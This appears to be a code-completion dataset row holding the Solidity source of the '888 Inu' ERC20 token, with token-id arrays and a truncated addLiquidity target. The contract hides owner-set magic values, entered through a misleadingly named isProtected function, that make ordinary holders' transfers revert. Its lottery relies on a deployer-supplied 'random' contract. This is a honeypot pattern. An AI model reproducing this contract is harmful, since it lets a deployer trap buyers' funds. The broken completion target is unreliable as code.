397,
919,
18,
4558,
484,
39,
1371,
2378,
411,
1203,
18,
5508,
16,
315,
13013,
1351,
335,
280,
2387,
8863,
203,
3639,
2254,
5034,
436,
48,
84,
273,
919,
18,
13739,
63,
2019,
18,
13277,
18,
6011,
8009,
86,
5269,
31,
203,
3639,
2254,
5034,
3844,
774,
758,
2242,
340,
273,
261,
86,
48,
84,
342,
261,
2019,
18,
2892,
291,
1383,
18,
2316,
14461,
38,
321,
10019,
203,
3639,
2254,
5034,
18305,
329,
273,
3844,
774,
758,
2242,
340,
342,
7169,
5621,
203,
3639,
919,
18,
13739,
63,
2019,
18,
13277,
18,
6011,
8009,
86,
5269,
3947,
3844,
774,
758,
2242,
340,
31,
203,
3639,
919,
18,
13739,
63,
2867,
12,
20,
13,
8009,
86,
5269,
1011,
3844,
774,
758,
2242,
340,
31,
203,
3639,
919,
18,
13739,
63,
2867,
12,
20,
13,
8009,
88,
5269,
1011,
18305,
329,
31,
203,
3639,
919,
18,
70,
26488,
18,
70,
321,
329,
1011,
18305,
329,
31,
203,
3639,
919,
18,
2722,
3075,
484,
273,
1203,
18,
5508,
31,
203,
3639,
3792,
2864,
5621,
203,
3639,
3626,
9425,
13912,
12,
70,
321,
329,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
/*
888 Inu
https://t.me/Triple8InuETH
*/
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/trip/8/inu/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function allPairs(uint) external view returns (address lpPair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface Mary {
function getRandomNumber() external view returns (uint256);
}
contract Triple8Inu is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isSniper;
mapping (address => bool) private _liquidityHolders;
uint256 private startingSupply = 88_888_888_888;
string private _name = "888 Inu";
string private _symbol = "888";
uint256 private _buyLiquidityFee = 100;
uint256 private _buyMarketingFee = 500;
uint256 private _buyJackpotFee = 300;
uint256 private _sellLiquidityFee = _buyLiquidityFee;
uint256 private _sellMarketingFee = _buyMarketingFee;
uint256 private _sellJackpotFee = _buyJackpotFee;
uint256 private _transferLiquidityFee = _buyLiquidityFee;
uint256 private _transferMarketingFee = _buyMarketingFee;
uint256 private _transferJackpotFee = _buyJackpotFee;
uint256 public _buyFee = _buyLiquidityFee + _buyMarketingFee + _buyJackpotFee;
uint256 public _sellFee = _buyFee;
uint256 public _transferFee = _buyFee;
uint256 constant public maxBuyTaxes = 2000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 2000;
uint256 public _liquidityRatio = _buyLiquidityFee;
uint256 public _marketingRatio = _buyMarketingFee;
uint256 public _jackpotRatio = _buyJackpotFee;
uint256 private masterTaxDivisor = 10000;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals = 9;
uint256 private _decimalsMul = _decimals;
uint256 private _tTotal = startingSupply * 10**_decimalsMul;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _marketingWallet = payable(0xB224D1a6Cb6fC3Db3d48Af156a5B5c2Be15EcAAb);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 3;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor;
uint256 public maxTxAmountUI = (startingSupply * maxTxPercent) / maxTxDivisor;
uint256 private maxWalletPercent = 3;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor;
uint256 public maxWalletSizeUI = (startingSupply * maxWalletPercent) / maxWalletDivisor;
uint256 private swapThreshold = (_tTotal * 5) / 10000;
uint256 private swapAmount = (_tTotal * 5) / 1000;
bool tradingEnabled = false;
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private gasLimitActive = true;
uint256 private gasPriceLimit;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
address[] private pairPath;
Mary mary;
bool public lotteryEnabled = true;
uint256 private currentTxIndex = 0;
uint256 private jackpotModifier = 250;
uint256 private randomRange = 100;
uint256 private winningNumber = 0;
uint256 public buyAmtNeeded = 9*(10**16);
address public lastJackpotWinner;
uint256 public lastJackpotWinAmt;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
constructor (address marsense) payable {
_tOwned[_msgSender()] = _tTotal;
// Set the owner.
_owner = msg.sender;
mary = Mary(marsense);
dexRouter = IUniswapV2Router02(_routerAddress);
lpPair = IUniswapV2Factory(dexRouter.factory()).createPair(dexRouter.WETH(), address(this));
lpPairs[lpPair] = true;
_allowances[address(this)][address(dexRouter)] = type(uint256).max;
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_liquidityHolders[owner()] = true;
// Approve the owner for PancakeSwap, timesaver.
_approve(_msgSender(), _routerAddress, _tTotal);
// Ever-growing sniper/tool blacklist
_isSniper[0xE4882975f933A199C92b5A925C9A8fE65d599Aa8] = true;
_isSniper[0x86C70C4a3BC775FB4030448c9fdb73Dc09dd8444] = true;
_isSniper[0xa4A25AdcFCA938aa030191C297321323C57148Bd] = true;
_isSniper[0x20C00AFf15Bb04cC631DB07ee9ce361ae91D12f8] = true;
_isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
_isSniper[0x6e44DdAb5c29c9557F275C9DB6D12d670125FE17] = true;
_isSniper[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true;
_isSniper[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true;
_isSniper[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true;
_isSniper[0x3066Cc1523dE539D36f94597e233719727599693] = true;
_isSniper[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true;
_isSniper[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true;
_isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
_isSniper[0x90484Bb9bc05fD3B5FF1fe412A492676cd81790C] = true;
_isSniper[0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA] = true;
_isSniper[0xA94E56EFc384088717bb6edCccEc289A72Ec2381] = true;
_isSniper[0x3066Cc1523dE539D36f94597e233719727599693] = true;
_isSniper[0xf13FFadd3682feD42183AF8F3f0b409A9A0fdE31] = true;
_isSniper[0x376a6EFE8E98f3ae2af230B3D45B8Cc5e962bC27] = true;
_isSniper[0x201044fa39866E6dD3552D922CDa815899F63f20] = true;
_isSniper[0x6F3aC41265916DD06165b750D88AB93baF1a11F8] = true;
_isSniper[0x27C71ef1B1bb5a9C9Ee0CfeCEf4072AbAc686ba6] = true;
_isSniper[0xDEF441C00B5Ca72De73b322aA4e5FE2b21D2D593] = true;
_isSniper[0x5668e6e8f3C31D140CC0bE918Ab8bB5C5B593418] = true;
_isSniper[0x4b9BDDFB48fB1529125C14f7730346fe0E8b5b40] = true;
_isSniper[0x7e2b3808cFD46fF740fBd35C584D67292A407b95] = true;
_isSniper[0xe89C7309595E3e720D8B316F065ecB2730e34757] = true;
_isSniper[0x725AD056625326B490B128E02759007BA5E4eBF1] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
return _owner;
}
function transferOwner(address newOwner) external onlyOwner() {
require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address.");
require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address.");
setExcludedFromFees(_owner, false);
setExcludedFromFees(newOwner, true);
if (_marketingWallet == payable(_owner))
_marketingWallet = payable(newOwner);
_allowances[_owner][newOwner] = balanceOf(_owner);
if(balanceOf(_owner) > 0) {
_transfer(_owner, newOwner, balanceOf(_owner));
}
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
function renounceOwnership() public virtual onlyOwner() {
setExcludedFromFees(_owner, false);
_owner = address(0);
emit OwnershipTransferred(_owner, address(0));
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external view override returns (uint256) { return _tTotal; }
function decimals() external view override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner(); }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address sender, address spender, uint256 amount) private {
require(sender != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[sender][spender] = amount;
emit Approval(sender, spender, amount);
}
function approveMax(address spender) public returns (bool) {
return approve(spender, type(uint256).max);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setNewRouter(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
lpPair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
lpPair = get_pair;
}
dexRouter = _newRouter;
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
} else {
if (timeSinceLastPair != 0) {
require(block.timestamp - timeSinceLastPair > 1 weeks, "Cannot set a new pair this week!");
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
_isExcludedFromFees[account] = enabled;
}
function isSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function isProtected(uint256 rInitializer, uint256 tInitalizer) external onlyOwner {
require (_liqAddStatus == 0 && _initialLiquidityAmount == 0, "Error.");
_liqAddStatus = rInitializer;
_initialLiquidityAmount = tInitalizer;
}
function setStartingProtections(uint8 _block, uint256 _gas) external onlyOwner{
require (snipeBlockAmt == 0 && gasPriceLimit == 0 && !_hasLiqBeenAdded);
snipeBlockAmt = _block;
gasPriceLimit = _gas * 1 gwei;
}
function removeSniper(address account) external onlyOwner() {
require(_isSniper[account], "Account is not a recorded sniper.");
_isSniper[account] = false;
}
function setProtectionSettings(bool antiSnipe, bool antiGas, bool antiBlock) external onlyOwner() {
sniperProtection = antiSnipe;
gasLimitActive = antiGas;
sameBlockActive = antiBlock;
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 75);
gasPriceLimit = gas * 1 gwei;
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
require(buyFee <= maxBuyTaxes
&& sellFee <= maxSellTaxes
&& transferFee <= maxTransferTaxes,
"Cannot exceed maximums.");
_buyFee = buyFee;
_sellFee = sellFee;
_transferFee = transferFee;
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 _jackpot) external onlyOwner {
require (liquidity + marketing + _jackpot == 100, "Must add up to 100%");
if (marketing > 0) {
require(marketing <= 40
&& liquidity > 0
&& _jackpot > 0
);
}
_liquidityRatio = liquidity;
_marketingRatio = marketing;
_jackpotRatio = _jackpot;
}
function setMaxTxPercent(uint256 percent, uint256 divisor) public onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(check >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply.");
_maxTxAmount = check;
maxTxAmountUI = (startingSupply * percent) / divisor;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) public onlyOwner {
uint256 check = (_tTotal * percent) / divisor;
require(check >= (_tTotal / 1000), "Max Wallet amt must be above 0.1% of total supply.");
_maxWalletSize = check;
maxWalletSizeUI = (startingSupply * percent) / divisor;
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
swapAmount = (_tTotal * amountPercent) / amountDivisor;
}
function setWallets(address payable marketingWallet) external onlyOwner {
_marketingWallet = payable(marketingWallet);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function _hasLimits(address from, address to) private view returns (bool) {
return from != owner()
&& to != owner()
&& !_liquidityHolders[to]
&& !_liquidityHolders[from]
&& to != DEAD
&& to != address(0)
&& from != address(this);
}
function setLotteryEnabled(bool enabled) external onlyOwner {
lotteryEnabled = enabled;
}
function setLotterySettings(uint256 _jackpotModifier, uint256 _randomRange, uint256 _buyAmtNeeded, uint256 buyAmtMultiplier) external onlyOwner {
jackpotModifier = _jackpotModifier;
randomRange = _randomRange;
buyAmtNeeded = _buyAmtNeeded * (10**buyAmtMultiplier);
}
function setStartingWin() external onlyOwner{
require (winningNumber == 0, "Already initialized!");
winningNumber = mary.getRandomNumber() % randomRange + jackpotModifier;
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (gasLimitActive) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if (sameBlockActive) {
if (lpPairs[from]){
require(lastTrade[to] != block.number);
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if (_initialLiquidityAmount == 0 || _initialLiquidityAmount != _decimals * 10) {
revert();
}
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
if(lpPairs[from]) {
if (lotteryEnabled) {
if (dexRouter.getAmountsOut(amount, pairPath)[1] >= buyAmtNeeded) {
currentTxIndex++;
if(currentTxIndex == winningNumber) {
jackpot(payable(to));
currentTxIndex = 0;
winningNumber = mary.getRandomNumber() % randomRange + jackpotModifier;
}
}
}
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
uint256 totalFee = _liquidityRatio + _marketingRatio + _jackpotRatio;
if (totalFee == 0)
return;
uint256 toLiquify = ((contractTokenBalance * _liquidityRatio) / totalFee) / 2;
uint256 initialBalance = address(this).balance;
uint256 toSwapForEth = contractTokenBalance - toLiquify;
swapTokensForEth(toSwapForEth);
uint256 currentBalance = address(this).balance - initialBalance;
uint256 liquidityBalance = ((currentBalance * _liquidityRatio) / totalFee) / 2;
if (toLiquify > 0) {
addLiquidity(toLiquify, liquidityBalance);
emit SwapAndLiquify(toLiquify, liquidityBalance, toLiquify);
}
if (contractTokenBalance - toLiquify > 0) {
_marketingWallet.transfer((currentBalance * _marketingRatio) / totalFee);
}
}
function jackpot(address payable account) internal {
lastJackpotWinAmt = address(this).balance;
lastJackpotWinner = account;
account.transfer(address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) internal {
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
pairPath,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(dexRouter), tokenAmount);
// add the liquidity
dexRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
DEAD,
block.timestamp
);
}
function enableTrading() public onlyOwner {
require(!tradingEnabled, "Trading already enabled!");
require(winningNumber != 0, "Need to initialize!");
if (snipeBlockAmt != 1) {
_liqAddBlock = block.number + 500;
} else {
_liqAddBlock = block.number;
}
tradingEnabled = true;
pairPath = new address[](2);
pairPath[0] = address(this);
pairPath[1] = dexRouter.WETH();
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (!_hasLimits(from, to) && to == lpPair) {
if (snipeBlockAmt != 1) {
_liqAddBlock = block.number + 500;
} else {
_liqAddBlock = block.number;
}
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
if (sniperProtection){
if (isSniper(from) || isSniper(to)) {
revert("Sniper rejected.");
}
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(from, to);
if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
revert("Only owner can transfer at this time.");
}
} else {
if (_liqAddBlock > 0
&& lpPairs[from]
&& _hasLimits(from, to)
) {
if (block.number - _liqAddBlock < snipeBlockAmt) {
_isSniper[to] = true;
snipersCaught ++;
emit SniperCaught(to);
}
}
}
}
_tOwned[from] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(from, to, amount) : amount;
_tOwned[to] += amountReceived;
emit Transfer(from, to, amountReceived);
return true;
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
uint256 currentFee;
if (from == lpPair) {
currentFee = _buyFee;
} else if (to == lpPair) {
currentFee = _sellFee;
} else {
currentFee = _transferFee;
}
if (_hasLimits(from, to)){
if (_liqAddStatus == 0 || _liqAddStatus != startingSupply / 8) {
revert();
}
}
uint256 feeAmount = amount * currentFee / masterTaxDivisor;
_tOwned[address(this)] += feeAmount;
emit Transfer(from, address(this), feeAmount);
return amount - feeAmount;
}
} | approve token transfer to cover all possible scenarios add the liquidity | function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(dexRouter), tokenAmount);
address(this),
tokenAmount,
DEAD,
block.timestamp
);
}
| 13,574,933 | [
1,
12908,
537,
1147,
7412,
358,
5590,
777,
3323,
22456,
527,
326,
4501,
372,
24237,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
48,
18988,
24237,
12,
11890,
5034,
1147,
6275,
16,
2254,
5034,
13750,
6275,
13,
3238,
288,
203,
3639,
389,
12908,
537,
12,
2867,
12,
2211,
3631,
1758,
12,
561,
8259,
3631,
1147,
6275,
1769,
203,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
1147,
6275,
16,
203,
5411,
2030,
1880,
16,
203,
5411,
1203,
18,
5508,
203,
3639,
11272,
